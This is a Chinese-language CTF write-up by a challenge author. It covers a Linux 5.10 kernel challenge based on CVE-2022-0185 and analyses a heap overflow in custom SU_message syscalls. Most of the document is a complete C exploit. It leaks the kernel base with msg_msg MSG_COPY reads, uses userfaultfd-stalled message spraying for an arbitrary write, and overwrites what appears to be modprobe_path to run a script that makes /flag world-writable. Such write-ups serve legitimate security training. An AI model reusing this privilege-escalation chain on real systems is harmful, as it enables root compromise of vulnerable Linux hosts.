比赛结果
居然是0解,但是果然是0解……
本题改编自CVE-2022-0185,参考链接:https://kagehutatsu.com/?p=526
出题前置
由于Linux Kernel在5.11之后禁止了unprivileged uffd,因此传统意义上的基于struct msg_msg的劫持方法不再适用
因此,即使是在CVE-2022-0185中,作者也是使用fuse作为uffd的替代品
然而,在纯净的Linux Kernel中,非特权用户同样不能使用fuse,因此fuse并不是一个完美的方案
综上所述,我选择了使用5.10作为本次出题的Kernel版本
漏洞分析
自定义syscall
本题定义了两个新的syscall:SU_message_open、SU_message_config
--- ./syscall_64.tbl 2022-03-18 20:47:32.779064269 +0800
+++ ./linux-5.10.99/arch/x86/entry/syscalls/syscall_64.tbl 2022-03-19 00:44:04.054826564 +0800
@@ -362,6 +362,8 @@
438 common pidfd_getfd sys_pidfd_getfd
439 common faccessat2 sys_faccessat2
440 common process_madvise sys_process_madvise
+1000 64 SU_message_open sys_SU_message_open
+1001 64 SU_message_config sys_SU_message_config
顾名思义,SU_message_open是对于struct SU_message结构体的初始化,SU_message_config则是对于struct SU_message结构体的操作
由于是对于syscall:__NR_fsopen、__NR_fsconfig的改编,因此存在少量的不完整功能
SU_message_open
SYSCALL_DEFINE2(SU_message_open, const void __user *, message_name, unsigned int , flags)
{
struct SU_message_context *message_context;
int i = 0;
message_context = kzalloc(sizeof(struct SU_message_context), GFP_KERNEL); [1]
if (!message_context)
return -ENOMEM;
message_context->message_name = strndup_user(message_name, PAGE_SIZE);
if (!strcmp(message_context->message_name, "shuyugiegie")) [2]
message_context->size = PAGE_SIZE;
else
message_context->size = 0x40;
while (i < 0x10)
{
if (message_list[i] == NULL)
{
message_list[i] = message_context;
return i;
}
i++;
}
return -ENOMEM;
}
函数分析
显然,在[1]处创建了struct SU_message_context结构体,作为存放用户态message的控制结构体
由于功能的不完整性,在[2]处,无论message_name是否为shuyugiegie1
在后续的函数中,都会申请kmalloc-4K作为存放用户态message的内核空间
返回值为结构体在message_list中的index,一个伪fd标示符
SU_message_config
SYSCALL_DEFINE4(SU_message_config, int, fd, unsigned int, cmd, const void __user *, _key, const void __user *, _value)
{
long SU_message_send(struct SU_message_context *message_context, char *key, char *value)
{
unsigned int key_len, value_len;
if (!message_context->message_content)
{
message_context->message_content = kmalloc(PAGE_SIZE, GFP_KERNEL);
message_context->message_len=0;
if (!message_context->message_content)
return -ENOMEM;
}
if (key!=NULL)
key_len = strlen(key);
else
key_len = 0;
if (value!=NULL)
value_len = strlen(value);
else
value_len = 0;
if (key_len + value_len > PAGE_SIZE-2-message_context->message_len) [1]
return -ENOMEM;
else
{
message_context->message_content[message_context->message_len++] = ',';
memcpy(message_context->message_content + message_context->message_len, key, key_len);
message_context->message_len += key_len;
if (message_context->type == SU_message_is_string)
{
message_context->message_content[message_context->message_len++] = '-';
memcpy(message_context->message_content + message_context->message_len, key, value_len); [2]
message_context->message_len += value_len;
}
}
return 0;
}
struct SU_message_context *message_context;
char *key, *value;
int ret = 0;
if (message_list[fd] != NULL && fd < 0x10 && fd >= 0)
message_context = message_list[fd];
else
return -ENOENT;
key = strndup_user(_key, 256);
switch (cmd)
{
case SU_message_set_flag:
message_context->type = SU_message_is_flag;
ret = SU_message_send(message_context, key, NULL);
break;
case SU_message_set_string:
message_context->type = SU_message_is_string;
value = strndup_user(_value, 256);
ret = SU_message_send(message_context, key, value);
kfree(value);
break;
case SU_message_release:
kfree(message_context->message_name);
kfree(message_context);
message_list[fd]=NULL;
break;
}
kfree(key);
return ret;
}
函数分析
存在三个cmd:SU_message_set_flag、SU_message_set_string、SU_message_release
set_flag和set_string的唯一区别就是是否将_value字段写入message中
而SU_message_release则是用于释放message
而且由于使用了strndump_user,_key字段与_value字段均存在\x00截断
漏洞点
注意到在[1]处,key_len + value_len > PAGE_SIZE-2-message_context->message_len存在一个负数溢出
即在message_context->message_len为0xFFF时,0x1000-2-0xFFF存在负数溢出
导致本来预期中应当停止继续延长的message产生了溢出
而且由于在0xFFF时的负数溢出,此后message_context->message_len会超过PAGE_SIZE的大小,因此该处可以进行多次连续溢出
综上所述,漏洞点确定为位于kmalloc-4K上的堆溢出
漏洞利用
参考文章:https://kagehutatsu.com/?p=577
非预期
注意到在SU_message_config的[2]处实际上应当为
--- ./sys.c 2022-03-27 23:02:43.551821407 +0800
+++ ./sys.c 2022-03-27 23:04:21.988289837 +0800
@@ -2751,7 +2751,7 @@
if (message_context->type == SU_message_is_string)
{
message_context->message_content[message_context->message_len++] = '-';
- memcpy(message_context->message_content + message_context->message_len, key, value_len);
+ memcpy(message_context->message_content + message_context->message_len, value, value_len);
message_context->message_len += value_len;
}
本来应该将value拷贝进message_content中,但是由于失误,导致复制的成了key字段,因此存在一个非预期的溢出
不过由于同样为溢出,后续利用基本相同
出题小结
其实这题本来是我为了测试struct msg_msg的uffd利用方法写的demo文件,经过大量改编后成了本题
使用自定义syscall而不是Kernel内核拓展模块的原因本身是为了提高调试难度,但是目测好像成为了0解的一大原因(
其实为了不变成0解题,在部分地方也降低了不少难度,比如nokaslr、去掉了部分非必要函数
最后,感谢SU以及DAS官方的支持(特别感谢Au5t1n师傅帮我上传题目和调整题目以及赵总帮我调整Dockerfile)
EXP
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/fs.h>
#include <linux/fuse.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define MSG_CONTINUE "\xFF"
#define PAGE_SIZE 0x1000
#define MSG_COPY 040000
#define SU_message_set_flag 0x2001
#define SU_message_set_string 0x2002
#define SU_message_release 0x2003
int filedes[2];
uint64_t kernel_base,heap_addr;
int make_queue(key_t key,int msgflg)
{
int result;
if ((result=msgget(key,msgflg))==-1)
{
perror("[X] Msgget Failure");
exit(-1);
}
return result;
}
void send_msg(int msqid,void *msgp,size_t msgsz,int msgflg)
{
if (msgsnd(msqid,msgp,msgsz,msgflg)==-1)
{
perror("[X] Msgsend Failure");
exit(-1);
}
return;
}
ssize_t get_msg(int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg)
{
ssize_t result;
result=msgrcv(msqid,msgp,msgsz,msgtyp,msgflg);
if (result<0)
{
perror("[X] Msgrcv Failure");
exit(-1);
}
return result;
}
void remove_queue(int msqid,int cmd,struct msqid_ds *buf)
{
if ((msgctl(msqid,cmd,buf))==-1)
{
perror("[X] Msgctl Failure");
exit(-1);
}
}
void register_userfault(void *fault_page, void *user_stuck_handler,int filedes_out,void *func,void *func_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd=syscall(__NR_userfaultfd,O_CLOEXEC|O_NONBLOCK);
struct arg *handler_arg=malloc(sizeof(struct arg));
handler_arg->uffd=uffd;
handler_arg->filedes_out=filedes_out;
handler_arg->func=func;
handler_arg->func_arg=func_arg;
ua.api=UFFD_API;
ua.features=0;
if (ioctl(uffd,UFFDIO_API,&ua) == -1)
{
puts("[X] ioctl-UFFDIO_API Error");
exit(0);
}
ur.range.start=(unsigned long)fault_page;
ur.range.len=PAGE_SIZE;
ur.mode=UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd,UFFDIO_REGISTER,&ur)==-1)
{
puts("[X] ioctl-UFFDIO_REGISTER Error");
}
int s=pthread_create(&thr,NULL,user_stuck_handler,(void *)handler_arg);
if (s!=0)
{
puts("[X] Pthread Create Error");
exit(0);
}
}
void *user_stuck_handler(void *handler_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
struct uffd_msg msg;
unsigned long uffd=((struct arg *)handler_arg)->uffd;
puts("[+] Leak_handler Created");
char con_msg; int filedes_out=((struct arg *)handler_arg)->filedes_out;
read(filedes_out,&con_msg,0x1);
if (con_msg!=*MSG_CONTINUE)
{
puts("[X] Stuck Page Continue Msg Error");
exit(0);
}
puts("[+] Restore Stuck Begin");
struct pollfd pollfd;
int nready;
pollfd.fd=uffd;
pollfd.events=POLLIN;
nready=poll(&pollfd,1,-1);
if (nready!=1)
{
puts("[X] Wrong Pool Return Value");
exit(0);
}
nready=read(uffd,&msg,sizeof(msg));
if (nready<=0)
{
puts("[X]Msg Error!!");
exit(0);
}
char *page=(char*)mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if (page==MAP_FAILED)
{
puts("[X] Mmap Page Error!!");
exit(0);
}
struct uffdio_copy uc;
memset(page,0,sizeof(page));
void (*func)(void *,void *)=((struct arg *)handler_arg)->func;
void *func_arg=((struct arg *)handler_arg)->func_arg;
if (func!=NULL) func(page,func_arg);
free(handler_arg);
uc.src=(unsigned long)page;
uc.dst=(unsigned long)msg.arg.pagefault.address&~(PAGE_SIZE-1);;
uc.len=PAGE_SIZE;
uc.mode=0;
uc.copy=0;
ioctl(uffd,UFFDIO_COPY,&uc);
puts("[-] User Stuck Handler Done!!");
}
int overlap_prepare()
{
int message_fd=syscall(1000,"shuyugiegie",0);
char *key=malloc(0x100);
memset(key,0x61,0x100);
key[0x5A]='\x00';
for (int i=0; i<0x2D; i++)
{
syscall(1001,message_fd,SU_message_set_flag,key,NULL);
}
return message_fd;
}
void overlap(int message_fd,void *overlap_content)
{
syscall(1001,message_fd,SU_message_set_flag,overlap_content,NULL);
}
uint64_t leak_kernel_base()
{
int message_fd=overlap_prepare();
char *buf=malloc(0x2000);
char *recv_msg=malloc(0x2000);
int qid[0x30];
struct msg *message=(struct msg *)buf;
int size=0x1018;
for (int i=0; i<0x30; i++)
{
memset(buf,0x61,0x2000);
qid[i]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
send_msg(qid[i],message,size-0x30,0);
}
for (int i=0; i<0x30; i++)
{
open("/proc/self/stat",O_RDONLY);
}
uint64_t *overlap_content=malloc(0x30);
memset(overlap_content,0x61,0x18);
overlap_content[0x3]=0x10F0;
overlap(message_fd,overlap_content);
size=0x10F0;
for (int i=0; i<0x30; i++)
{
get_msg(qid[i],recv_msg,size,0,IPC_NOWAIT|MSG_COPY|MSG_NOERROR);
for (int j=0; j<0x1E; j++)
{
uint64_t tmp_kbase=((uint64_t *)(recv_msg+0x1000))[j];
if (tmp_kbase>0xFFFFFFFF81000000)
{
for (int k=0; k<0x30; k++)
if (qid[k]!=qid[i]) remove_queue(qid[k],IPC_RMID,NULL);
return tmp_kbase;
}
}
}
return 0;
}
void spray_4K()
{
char *buf=malloc(PAGE_SIZE);
memset(buf,0x61,PAGE_SIZE);
struct msg *message=(struct msg *)buf;
int qid;
for (int i=0; i<0x32; i++)
{
qid=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
send_msg(qid,message,PAGE_SIZE-0x30,0);
}
}
void arbitrary_write(char *stand_page,char *normal_page,char *stuck_page)
{
spray_4K();
int qid[0x60];
int size=0x1058;
void *thread_spary(void *arg)
{
uint64_t i=(uint64_t)arg;
struct msg *message=(struct msg *)(normal_page+0x30);
qid[i]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
send_msg(qid[i],message,size-0x30,0);
}
int message_fd=overlap_prepare();
pthread_t thread_spary_pid[0x60];
for (uint64_t i=0; i<0x60; i++)
pthread_create(&thread_spary_pid[i],NULL,thread_spary,(void *)i);
sleep(0.5);
getchar();
uint64_t *overlap_content=malloc(0x30);
memset(overlap_content,0x61,0x20);
overlap_content[0x4]=kernel_base+0x1c6c360-0x8;
overlap(message_fd,overlap_content);
write(filedes[1],MSG_CONTINUE,sizeof(MSG_CONTINUE));
for (int i=0; i<0x60; i++) pthread_join(thread_spary_pid[i],NULL);
}
void *func(void *page,void *arg)
{
memcpy(page,arg,PAGE_SIZE);
}
int main()
{
if (pipe(filedes)==-1)
{
puts("[X] Pipe Create Error");
exit(0);
}
while (!kernel_base)
{
uint64_t single_start=leak_kernel_base();
kernel_base=single_start-0x331960;
kernel_base-=kernel_base&0xFF;
if (kernel_base>0xFFFFFFFFFF000000) kernel_base=0;
if (kernel_base&0xFF00) kernel_base=0;
}
printf("[+] kernel_base: 0x%lx\n",kernel_base);
char *stand_page=mmap((void *)0xB0000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
memset(stand_page,0x63,PAGE_SIZE);
memcpy(stand_page+0x8,"/tmp/aa\x00",0x8);
char *normal_page=mmap((void *)0xA0000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
memset(normal_page,0x62,PAGE_SIZE);
char *stuck_page=mmap((void *)0xA1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
register_userfault(stuck_page,user_stuck_handler,filedes[0],func,stand_page);
arbitrary_write(stand_page,normal_page,stuck_page);
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/aa");
system("chmod +x /tmp/aa");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
}